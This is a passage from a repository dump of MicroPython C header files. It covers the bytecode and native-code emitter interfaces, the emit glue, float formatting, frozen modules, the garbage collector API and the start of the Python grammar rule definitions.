MP_PASS_STACK_SIZE = 2, // work out maximum stack size MP_PASS_CODE_SIZE = 3, // work out code size and label offsets MP_PASS_EMIT = 4, // emit code } pass_kind_t; #define MP_EMIT_STAR_FLAG_SINGLE (0x01) #define MP_EMIT_STAR_FLAG_DOUBLE (0x02) #define MP_EMIT_BREAK_FROM_FOR (0x8000) #define MP_EMIT_NATIVE_TYPE_ENABLE (0) #define MP_EMIT_NATIVE_TYPE_RETURN (1) #define MP_EMIT_NATIVE_TYPE_ARG (2) typedef struct _emit_t emit_t; typedef struct _mp_emit_method_table_id_ops_t { void (*fast)(emit_t *emit, qstr qst, mp_uint_t local_num); void (*deref)(emit_t *emit, qstr qst, mp_uint_t local_num); void (*name)(emit_t *emit, qstr qst); void (*global)(emit_t *emit, qstr qst); } mp_emit_method_table_id_ops_t; typedef struct _emit_method_table_t { void (*set_native_type)(emit_t *emit, mp_uint_t op, mp_uint_t arg1, qstr arg2); void (*start_pass)(emit_t *emit, pass_kind_t pass, scope_t *scope); void (*end_pass)(emit_t *emit); bool (*last_emit_was_return_value)(emit_t *emit); void (*adjust_stack_size)(emit_t *emit, mp_int_t delta); void (*set_source_line)(emit_t *emit, mp_uint_t line); mp_emit_method_table_id_ops_t load_id; mp_emit_method_table_id_ops_t store_id; mp_emit_method_table_id_ops_t delete_id; void (*label_assign)(emit_t *emit, mp_uint_t l); void (*import_name)(emit_t *emit, qstr qst); void (*import_from)(emit_t *emit, qstr qst); void (*import_star)(emit_t *emit); void (*load_const_tok)(emit_t *emit, mp_token_kind_t tok); void (*load_const_small_int)(emit_t *emit, mp_int_t arg); void (*load_const_str)(emit_t *emit, qstr qst); void (*load_const_obj)(emit_t *emit, mp_obj_t obj); void (*load_null)(emit_t *emit); void (*load_attr)(emit_t *emit, qstr qst); void (*load_method)(emit_t *emit, qstr qst, bool is_super); void (*load_build_class)(emit_t *emit); void (*load_subscr)(emit_t *emit); void (*store_attr)(emit_t *emit, qstr qst); void (*store_subscr)(emit_t *emit); void (*delete_attr)(emit_t *emit, qstr qst); void (*delete_subscr)(emit_t *emit); void (*dup_top)(emit_t *emit); void (*dup_top_two)(emit_t *emit); void (*pop_top)(emit_t *emit); void (*rot_two)(emit_t *emit); void (*rot_three)(emit_t *emit); void (*jump)(emit_t *emit, mp_uint_t label); void (*pop_jump_if)(emit_t *emit, bool cond, mp_uint_t label); void (*jump_if_or_pop)(emit_t *emit, bool cond, mp_uint_t label); void (*break_loop)(emit_t *emit, mp_uint_t label, mp_uint_t except_depth); void (*continue_loop)(emit_t *emit, mp_uint_t label, mp_uint_t except_depth); void (*setup_with)(emit_t *emit, mp_uint_t label); void (*with_cleanup)(emit_t *emit, mp_uint_t label); void (*setup_except)(emit_t *emit, mp_uint_t label); void (*setup_finally)(emit_t *emit, mp_uint_t label); void (*end_finally)(emit_t *emit); void (*get_iter)(emit_t *emit, bool use_stack); void (*for_iter)(emit_t *emit, mp_uint_t label); void (*for_iter_end)(emit_t *emit); void (*pop_block)(emit_t *emit); void (*pop_except)(emit_t *emit); void (*unary_op)(emit_t *emit, mp_unary_op_t op); void (*binary_op)(emit_t *emit, mp_binary_op_t op); void (*build_tuple)(emit_t *emit, mp_uint_t n_args); void (*build_list)(emit_t *emit, mp_uint_t n_args); void (*build_map)(emit_t *emit, mp_uint_t n_args); void (*store_map)(emit_t *emit); #if MICROPY_PY_BUILTINS_SET void (*build_set)(emit_t *emit, mp_uint_t n_args); #endif #if MICROPY_PY_BUILTINS_SLICE void (*build_slice)(emit_t *emit, mp_uint_t n_args); #endif void (*store_comp)(emit_t *emit, scope_kind_t kind, mp_uint_t set_stack_index); void (*unpack_sequence)(emit_t *emit, mp_uint_t n_args); void (*unpack_ex)(emit_t *emit, mp_uint_t n_left, mp_uint_t n_right); void (*make_function)(emit_t *emit, scope_t *scope, mp_uint_t n_pos_defaults, mp_uint_t n_kw_defaults); void (*make_closure)(emit_t *emit, scope_t *scope, mp_uint_t n_closed_over, mp_uint_t n_pos_defaults, mp_uint_t n_kw_defaults); void (*call_function)(emit_t *emit, mp_uint_t n_positional, mp_uint_t n_keyword, mp_uint_t star_flags); void (*call_method)(emit_t *emit, mp_uint_t n_positional, mp_uint_t n_keyword, mp_uint_t star_flags); void (*return_value)(emit_t *emit); void (*raise_varargs)(emit_t *emit, mp_uint_t n_args); void (*yield_value)(emit_t *emit); void (*yield_from)(emit_t *emit); // these methods are used to control entry to/exit from an exception handler // they may or may not emit code void (*start_except_handler)(emit_t *emit); void (*end_except_handler)(emit_t *emit); } emit_method_table_t; void mp_emit_common_get_id_for_load(scope_t *scope, qstr qst); void mp_emit_common_get_id_for_modification(scope_t *scope, qstr qst); void mp_emit_common_id_op(emit_t *emit, const mp_emit_method_table_id_ops_t *emit_method_table, scope_t *scope, qstr qst); extern const emit_method_table_t emit_bc_method_table; extern const emit_method_table_t emit_native_x64_method_table; extern const emit_method_table_t emit_native_x86_method_table; extern const emit_method_table_t emit_native_thumb_method_table; extern const emit_method_table_t emit_native_arm_method_table; extern const emit_method_table_t emit_native_xtensa_method_table; extern const mp_emit_method_table_id_ops_t mp_emit_bc_method_table_load_id_ops; extern const mp_emit_method_table_id_ops_t mp_emit_bc_method_table_store_id_ops; extern const mp_emit_method_table_id_ops_t mp_emit_bc_method_table_delete_id_ops; emit_t *emit_bc_new(void); emit_t *emit_native_x64_new(mp_obj_t *error_slot, mp_uint_t max_num_labels); emit_t *emit_native_x86_new(mp_obj_t *error_slot, mp_uint_t max_num_labels); emit_t *emit_native_thumb_new(mp_obj_t *error_slot, mp_uint_t max_num_labels); emit_t *emit_native_arm_new(mp_obj_t *error_slot, mp_uint_t max_num_labels); emit_t *emit_native_xtensa_new(mp_obj_t *error_slot, mp_uint_t max_num_labels); void emit_bc_set_max_num_labels(emit_t* emit, mp_uint_t max_num_labels); void emit_bc_free(emit_t *emit); void emit_native_x64_free(emit_t *emit); void emit_native_x86_free(emit_t *emit); void emit_native_thumb_free(emit_t *emit); void emit_native_arm_free(emit_t *emit); void emit_native_xtensa_free(emit_t *emit); void mp_emit_bc_start_pass(emit_t *emit, pass_kind_t pass, scope_t *scope); void mp_emit_bc_end_pass(emit_t *emit); bool mp_emit_bc_last_emit_was_return_value(emit_t *emit); void mp_emit_bc_adjust_stack_size(emit_t *emit, mp_int_t delta); void mp_emit_bc_set_source_line(emit_t *emit, mp_uint_t line); void mp_emit_bc_load_fast(emit_t *emit, qstr qst, mp_uint_t local_num); void mp_emit_bc_load_deref(emit_t *emit, qstr qst, mp_uint_t local_num); void mp_emit_bc_load_name(emit_t *emit, qstr qst); void mp_emit_bc_load_global(emit_t *emit, qstr qst); void mp_emit_bc_store_fast(emit_t *emit, qstr qst, mp_uint_t local_num); void mp_emit_bc_store_deref(emit_t *emit, qstr qst, mp_uint_t local_num); void mp_emit_bc_store_name(emit_t *emit, qstr qst); void mp_emit_bc_store_global(emit_t *emit, qstr qst); void mp_emit_bc_delete_fast(emit_t *emit, qstr qst, mp_uint_t local_num); void mp_emit_bc_delete_deref(emit_t *emit, qstr qst, mp_uint_t local_num); void mp_emit_bc_delete_name(emit_t *emit, qstr qst); void mp_emit_bc_delete_global(emit_t *emit, qstr qst); void mp_emit_bc_label_assign(emit_t *emit, mp_uint_t l); void mp_emit_bc_import_name(emit_t *emit, qstr qst); void mp_emit_bc_import_from(emit_t *emit, qstr qst); void mp_emit_bc_import_star(emit_t *emit); void mp_emit_bc_load_const_tok(emit_t *emit, mp_token_kind_t tok); void mp_emit_bc_load_const_small_int(emit_t *emit, mp_int_t arg); void mp_emit_bc_load_const_str(emit_t *emit, qstr qst); void mp_emit_bc_load_const_obj(emit_t *emit, mp_obj_t obj); void mp_emit_bc_load_null(emit_t *emit); void mp_emit_bc_load_attr(emit_t *emit, qstr qst); void mp_emit_bc_load_method(emit_t *emit, qstr qst, bool is_super); void mp_emit_bc_load_build_class(emit_t *emit); void mp_emit_bc_load_subscr(emit_t *emit); void mp_emit_bc_store_attr(emit_t *emit, qstr qst); void mp_emit_bc_store_subscr(emit_t *emit); void mp_emit_bc_delete_attr(emit_t *emit, qstr qst); void mp_emit_bc_delete_subscr(emit_t *emit); void mp_emit_bc_dup_top(emit_t *emit); void mp_emit_bc_dup_top_two(emit_t *emit); void mp_emit_bc_pop_top(emit_t *emit); void mp_emit_bc_rot_two(emit_t *emit); void mp_emit_bc_rot_three(emit_t *emit); void mp_emit_bc_jump(emit_t *emit, mp_uint_t label); void mp_emit_bc_pop_jump_if(emit_t *emit, bool cond, mp_uint_t label); void mp_emit_bc_jump_if_or_pop(emit_t *emit, bool cond, mp_uint_t label); void mp_emit_bc_unwind_jump(emit_t *emit, mp_uint_t label, mp_uint_t except_depth); #define mp_emit_bc_break_loop mp_emit_bc_unwind_jump #define mp_emit_bc_continue_loop mp_emit_bc_unwind_jump void mp_emit_bc_setup_with(emit_t *emit, mp_uint_t label); void mp_emit_bc_with_cleanup(emit_t *emit, mp_uint_t label); void mp_emit_bc_setup_except(emit_t *emit, mp_uint_t label); void mp_emit_bc_setup_finally(emit_t *emit, mp_uint_t label); void mp_emit_bc_end_finally(emit_t *emit); void mp_emit_bc_get_iter(emit_t *emit, bool use_stack); void mp_emit_bc_for_iter(emit_t *emit, mp_uint_t label); void mp_emit_bc_for_iter_end(emit_t *emit); void mp_emit_bc_pop_block(emit_t *emit); void mp_emit_bc_pop_except(emit_t *emit); void mp_emit_bc_unary_op(emit_t *emit, mp_unary_op_t op); void mp_emit_bc_binary_op(emit_t *emit, mp_binary_op_t op); void mp_emit_bc_build_tuple(emit_t *emit, mp_uint_t n_args); void mp_emit_bc_build_list(emit_t *emit, mp_uint_t n_args); void mp_emit_bc_build_map(emit_t *emit, mp_uint_t n_args); void mp_emit_bc_store_map(emit_t *emit); #if MICROPY_PY_BUILTINS_SET void mp_emit_bc_build_set(emit_t *emit, mp_uint_t n_args); #endif #if MICROPY_PY_BUILTINS_SLICE void mp_emit_bc_build_slice(emit_t *emit, mp_uint_t n_args); #endif void mp_emit_bc_store_comp(emit_t *emit, scope_kind_t kind, mp_uint_t list_stack_index); void mp_emit_bc_unpack_sequence(emit_t *emit, mp_uint_t n_args); void mp_emit_bc_unpack_ex(emit_t *emit, mp_uint_t n_left, mp_uint_t n_right); void mp_emit_bc_make_function(emit_t *emit, scope_t *scope, mp_uint_t n_pos_defaults, mp_uint_t n_kw_defaults); void mp_emit_bc_make_closure(emit_t *emit, scope_t *scope, mp_uint_t n_closed_over, mp_uint_t n_pos_defaults, mp_uint_t n_kw_defaults); void mp_emit_bc_call_function(emit_t *emit, mp_uint_t n_positional, mp_uint_t n_keyword, mp_uint_t star_flags); void mp_emit_bc_call_method(emit_t *emit, mp_uint_t n_positional, mp_uint_t n_keyword, mp_uint_t star_flags); void mp_emit_bc_return_value(emit_t *emit); void mp_emit_bc_raise_varargs(emit_t *emit, mp_uint_t n_args); void mp_emit_bc_yield_value(emit_t *emit); void mp_emit_bc_yield_from(emit_t *emit); void mp_emit_bc_start_except_handler(emit_t *emit); void mp_emit_bc_end_except_handler(emit_t *emit); typedef struct _emit_inline_asm_t emit_inline_asm_t; typedef struct _emit_inline_asm_method_table_t { void (*start_pass)(emit_inline_asm_t *emit, pass_kind_t pass, mp_obj_t *error_slot); void (*end_pass)(emit_inline_asm_t *emit, mp_uint_t type_sig); mp_uint_t (*count_params)(emit_inline_asm_t *emit, const byte *p, const byte *ptop); bool (*label)(emit_inline_asm_t *emit, mp_uint_t label_num, qstr label_id); void (*op)(emit_inline_asm_t *emit, qstr op, mp_uint_t n_args, const byte **pn_args); } emit_inline_asm_method_table_t; extern const emit_inline_asm_method_table_t emit_inline_thumb_method_table; extern const emit_inline_asm_method_table_t emit_inline_xtensa_method_table; emit_inline_asm_t *emit_inline_thumb_new(mp_uint_t *co_data, mp_uint_t max_num_labels); emit_inline_asm_t *emit_inline_xtensa_new(mp_uint_t max_num_labels); void emit_inline_thumb_free(emit_inline_asm_t *emit); void emit_inline_xtensa_free(emit_inline_asm_t *emit); #if MICROPY_WARNINGS void mp_emitter_warning(pass_kind_t pass, const char *msg); #else #define mp_emitter_warning(pass, msg) #endif #endif // MICROPY_INCLUDED_PY_EMIT_H ================================================ FILE: micropython/inc/py/emitglue.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_EMITGLUE_H #define MICROPY_INCLUDED_PY_EMITGLUE_H #include "py/obj.h" // These variables and functions glue the code emitters to the runtime. typedef enum { MP_CODE_UNUSED, MP_CODE_RESERVED, MP_CODE_BYTECODE, MP_CODE_NATIVE_PY, MP_CODE_NATIVE_VIPER, MP_CODE_NATIVE_ASM, } mp_raw_code_kind_t; typedef struct _mp_raw_code_t { mp_raw_code_kind_t kind : 3; mp_uint_t scope_flags : 7; mp_uint_t n_pos_args : 11; union { struct { const byte *bytecode; const mp_uint_t *const_table; #if MICROPY_PERSISTENT_CODE_SAVE mp_uint_t bc_len; uint16_t n_obj; uint16_t n_raw_code; #endif } u_byte; struct { void *fun_data; const mp_uint_t *const_table; mp_uint_t type_sig; // for viper, compressed as 2-bit types; ret is MSB, then arg0, arg1, etc } u_native; } data; } mp_raw_code_t; mp_raw_code_t *mp_emit_glue_new_raw_code(void); void mp_emit_glue_assign_bytecode(mp_raw_code_t *rc, const byte *code, mp_uint_t len, const mp_uint_t *const_table, #if MICROPY_PERSISTENT_CODE_SAVE uint16_t n_obj, uint16_t n_raw_code, #endif mp_uint_t scope_flags); void mp_emit_glue_assign_native(mp_raw_code_t *rc, mp_raw_code_kind_t kind, void *fun_data, mp_uint_t fun_len, const mp_uint_t *const_table, mp_uint_t n_pos_args, mp_uint_t scope_flags, mp_uint_t type_sig); mp_obj_t mp_make_function_from_raw_code(const mp_raw_code_t *rc, mp_obj_t def_args, mp_obj_t def_kw_args); mp_obj_t mp_make_closure_from_raw_code(const mp_raw_code_t *rc, mp_uint_t n_closed_over, const mp_obj_t *args); #endif // MICROPY_INCLUDED_PY_EMITGLUE_H ================================================ FILE: micropython/inc/py/formatfloat.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_FORMATFLOAT_H #define MICROPY_INCLUDED_PY_FORMATFLOAT_H #include "py/mpconfig.h" #if MICROPY_PY_BUILTINS_FLOAT int mp_format_float(mp_float_t f, char *buf, size_t bufSize, char fmt, int prec, char sign); #endif #endif // MICROPY_INCLUDED_PY_FORMATFLOAT_H ================================================ FILE: micropython/inc/py/frozenmod.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_FROZENMOD_H #define MICROPY_INCLUDED_PY_FROZENMOD_H #include "py/lexer.h" enum { MP_FROZEN_NONE, MP_FROZEN_STR, MP_FROZEN_MPY, }; int mp_find_frozen_module(const char *str, size_t len, void **data); const char *mp_find_frozen_str(const char *str, size_t *len); mp_import_stat_t mp_frozen_stat(const char *str); #endif // MICROPY_INCLUDED_PY_FROZENMOD_H ================================================ FILE: micropython/inc/py/gc.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_GC_H #define MICROPY_INCLUDED_PY_GC_H #include #include "py/mpconfig.h" #include "py/misc.h" void gc_init(void *start, void *end); // These lock/unlock functions can be nested. // They can be used to prevent the GC from allocating/freeing. void gc_lock(void); void gc_unlock(void); bool gc_is_locked(void); // A given port must implement gc_collect by using the other collect functions. void gc_collect(void); void gc_collect_start(void); void gc_collect_root(void **ptrs, size_t len); void gc_collect_end(void); void *gc_alloc(size_t n_bytes, bool has_finaliser); void gc_free(void *ptr); // does not call finaliser size_t gc_nbytes(const void *ptr); void *gc_realloc(void *ptr, size_t n_bytes, bool allow_move); typedef struct _gc_info_t { size_t total; size_t used; size_t free; size_t max_free; size_t num_1block; size_t num_2block; size_t max_block; } gc_info_t; void gc_info(gc_info_t *info); void gc_dump_info(void); void gc_dump_alloc_table(void); #endif // MICROPY_INCLUDED_PY_GC_H ================================================ FILE: micropython/inc/py/grammar.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013-2015 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ // rules for writing rules: // - zero_or_more is implemented using opt_rule around a one_or_more rule // - don't put opt_rule in arguments of or rule; instead, wrap the call to this or rule in opt_rule // # Start symbols for the grammar: // # single_input is a single interactive statement; // # file_input is a module or sequence of commands read from an input file; // # eval_input is the input for the eval() functions. // # NB: compound_stmt in single_input is followed by extra NEWLINE! --> not in MicroPython // single_input: NEWLINE | simple_stmt | compound_stmt // file_input: (NEWLINE | stmt)* ENDMARKER // eval_input: testlist NEWLINE* ENDMARKER DEF_RULE_NC(single_input, or(3), tok(NEWLINE), rule(simple_stmt), rule(compound_stmt)) DEF_RULE(file_input, c(generic_all_nodes), and_ident(1), opt_rule(file_input_2)) DEF_RULE(file_input_2, c(generic_all_nodes), one_or_more, rule(file_input_3)) DEF_RULE_NC(file_input_3, or(2), tok(NEWLINE), rule(stmt)) DEF_RULE_NC(eval_input, and_ident(2), rule(testlist), opt_rule(eval_input_2)) DEF_RULE_NC(eval_input_2, and(1), tok(NEWLINE)) // decorator: '@' dotted_name [ '(' [arglist] ')' ] NEWLINE // decorators: decorator+ // decorated: decorators (classdef | funcdef | async_funcdef) // funcdef: 'def' NAME parameters ['->' test] ':' suite // async_funcdef: 'async' funcdef // parameters: '(' [typedargslist] ')' // typedargslist: tfpdef ['=' test] (',' tfpdef ['=' test])* [',' ['*' [tfpdef] (',' tfpdef ['=' test])* [',' '**' tfpdef] | '**' tfpdef]] | '*' [tfpdef] (',' tfpdef ['=' test])* [',' '**' tfpdef] | '**' tfpdef // tfpdef: NAME [':' test] // varargslist: vfpdef ['=' test] (',' vfpdef ['=' test])* [',' ['*' [vfpdef] (',' vfpdef ['=' test])* [',' '**' vfpdef] | '**' vfpdef]] | '*' [vfpdef] (',' vfpdef ['=' test])* [',' '**' vfpdef] | '**' vfpdef // vfpdef: NAME DEF_RULE_NC(decorator, and(4), tok(DEL_AT), rule(dotted_name), opt_rule(trailer_paren), tok(NEWLINE)) DEF_RULE_NC(decorators, one_or_more, rule(decorator)) DEF_RULE(decorated, c(decorated), and_ident(2), rule(decorators), rule(decorated_body)) #if MICROPY_PY_ASYNC_AWAIT DEF_RULE_NC(decorated_body, or(3), rule(classdef), rule(funcdef), rule(async_funcdef)) DEF_RULE_NC(async_funcdef, and(2), tok(KW_ASYNC), rule(funcdef)) #else DEF_RULE_NC(decorated_body, or(2), rule(classdef), rule(funcdef)) #endif DEF_RULE(funcdef, c(funcdef), and_blank(8), tok(KW_DEF), tok(NAME), tok(DEL_PAREN_OPEN), opt_rule(typedargslist), tok(DEL_PAREN_CLOSE), opt_rule(funcdefrettype), tok(DEL_COLON), rule(suite)) DEF_RULE_NC(funcdefrettype, and_ident(2), tok(DEL_MINUS_MORE), rule(test)) // note: typedargslist lets through more than is allowed, compiler does further checks DEF_RULE_NC(typedargslist, list_with_end, rule(typedargslist_item), tok(DEL_COMMA)) DEF_RULE_NC(typedargslist_item, or(3), rule(typedargslist_name), rule(typedargslist_star), rule(typedargslist_dbl_star)) DEF_RULE_NC(typedargslist_name, and_ident(3), tok(NAME), opt_rule(typedargslist_colon), opt_rule(typedargslist_equal)) DEF_RULE_NC(typedargslist_star, and(2), tok(OP_STAR), opt_rule(tfpdef)) DEF_RULE_NC(typedargslist_dbl_star, and(3), tok(OP_DBL_STAR), tok(NAME), opt_rule(typedargslist_colon)) DEF_RULE_NC(typedargslist_colon, and_ident(2), tok(DEL_COLON), rule(test)) DEF_RULE_NC(typedargslist_equal, and_ident(2), tok(DEL_EQUAL), rule(test)) DEF_RULE_NC(tfpdef, and(2), tok(NAME), opt_rule(typedargslist_colon)) // note: varargslist lets through more than is allowed, compiler does further checks DEF_RULE_NC(varargslist, list_with_end, rule(varargslist_item), tok(DEL_COMMA)) DEF_RULE_NC(varargslist_item, or(3), rule(varargslist_name), rule(varargslist_star), rule(varargslist_dbl_star)) DEF_RULE_NC(varargslist_name, and_ident(2), tok(NAME), opt_rule(varargslist_equal)) DEF_RULE_NC(varargslist_star, and(2), tok(OP_STAR), opt_rule(vfpdef)) DEF_RULE_NC(varargslist_dbl_star, and(2), tok(OP_DBL_STAR), tok(NAME)) DEF_RULE_NC(varargslist_equal, and_ident(2), tok(DEL_EQUAL), rule(test)) DEF_RULE_NC(vfpdef, and_ident(1), tok(NAME)) // stmt: compound_stmt | simple_stmt DEF_RULE_NC(stmt, or(2), rule(compound_stmt), rule(simple_stmt)) // simple_stmt: small_stmt (';' small_stmt)* [';'] NEWLINE DEF_RULE_NC(simple_stmt, and_ident(2), rule(simple_stmt_2), tok(NEWLINE)) DEF_RULE(simple_stmt_2, c(generic_all_nodes), list_with_end, rule(small_stmt), tok(DEL_SEMICOLON)) // small_stmt: expr_stmt | del_stmt | pass_stmt | flow_stmt | import_stmt | global_stmt | nonlocal_stmt | assert_stmt // expr_stmt: testlist_star_expr (augassign (yield_expr|testlist) | ('=' (yield_expr|testlist_star_expr))*) // testlist_star_expr: (test|star_expr) (',' (test|star_expr))* [','] // augassign: '+=' | '-=' | '*=' | '/=' | '%=' | '&=' | '|=' | '^=' | '<<=' | '>>=' | '**=' | '//=' // # For normal assignments, additional restrictions enforced by the interpreter DEF_RULE_NC(small_stmt, or(8), rule(del_stmt), rule(pass_stmt), rule(flow_stmt), rule(import_stmt), rule(global_stmt), rule(nonlocal_stmt), rule(assert_stmt), rule(expr_stmt)) DEF_RULE(expr_stmt, c(expr_stmt), and(2), rule(testlist_star_expr), opt_rule(expr_stmt_2)) DEF_RULE_NC(expr_stmt_2, or(2), rule(expr_stmt_augassign), rule(expr_stmt_assign_list)) DEF_RULE_NC(expr_stmt_augassign, and_ident(2), rule(augassign), rule(expr_stmt_6)) DEF_RULE_NC(expr_stmt_assign_list, one_or_more, rule(expr_stmt_assign)) DEF_RULE_NC(expr_stmt_assign, and_ident(2), tok(DEL_EQUAL), rule(expr_stmt_6)) DEF_RULE_NC(expr_stmt_6, or(2), rule(yield_expr), rule(testlist_star_expr)) DEF_RULE(testlist_star_expr, c(generic_tuple), list_with_end, rule(testlist_star_expr_2), tok(DEL_COMMA)) DEF_RULE_NC(testlist_star_expr_2, or(2), rule(star_expr), rule(test)) DEF_RULE_NC(augassign, or(12), tok(DEL_PLUS_EQUAL), tok(DEL_MINUS_EQUAL), tok(DEL_STAR_EQUAL), tok(DEL_SLASH_EQUAL), tok(DEL_PERCENT_EQUAL), tok(DEL_AMPERSAND_EQUAL), tok(DEL_PIPE_EQUAL), tok(DEL_CARET_EQUAL), tok(DEL_DBL_LESS_EQUAL), tok(DEL_DBL_MORE_EQUAL), tok(DEL_DBL_STAR_EQUAL), tok(DEL_DBL_SLASH_EQUAL)) // del_stmt: 'del' exprlist // pass_stmt: 'pass' // flow_stmt: break_stmt | continue_stmt | return_stmt | raise_stmt | yield_stmt // break_stmt: 'break' // continue_stmt: 'continue' // return_stmt: 'return' [testlist] // yield_stmt: yield_expr // raise_stmt: 'raise' [test ['from' test]] DEF_RULE(del_stmt, c(del_stmt), and(2), tok(KW_DEL), rule(exprlist)) DEF_RULE(pass_stmt, c(generic_all_nodes), and(1), tok(KW_PASS)) DEF_RULE_NC(flow_stmt, or(5), rule(break_stmt), rule(continue_stmt), rule(return_stmt), rule(raise_stmt), rule(yield_stmt)) DEF_RULE(break_stmt, c(break_stmt), and(1), tok(KW_BREAK)) DEF_RULE(continue_stmt, c(continue_stmt), and(1), tok(KW_CONTINUE)) DEF_RULE(return_stmt, c(return_stmt), and(2), tok(KW_RETURN), opt_rule(testlist)) DEF_RULE(yield_stmt, c(yield_stmt), and(1), rule(yield_expr)) DEF_RULE(raise_stmt, c(raise_stmt), and(2), tok(KW_RAISE), opt_rule(raise_stmt_arg)) DEF_RULE_NC(raise_stmt_arg, and_ident(2), rule(test), opt_rule(raise_stmt_from)) DEF_RULE_NC(raise_stmt_from, and_ident(2), tok(KW_FROM), rule(test)) // import_stmt: import_name | import_from // import_name: 'import' dotted_as_names // import_from: 'from' (('.' | '...')* dotted_name | ('.' | '...')+) 'import' ('*' | '(' import_as_names ')' | import_as_names) // import_as_name: NAME ['as' NAME] // dotted_as_name: dotted_name ['as' NAME] // import_as_names: import_as_name (',' import_as_name)* [','] // dotted_as_names: dotted_as_name (',' dotted_as_name)* // dotted_name: NAME ('.' NAME)* // global_stmt: 'global' NAME (',' NAME)* // nonlocal_stmt: 'nonlocal' NAME (',' NAME)* // assert_stmt: 'assert' test [',' test] 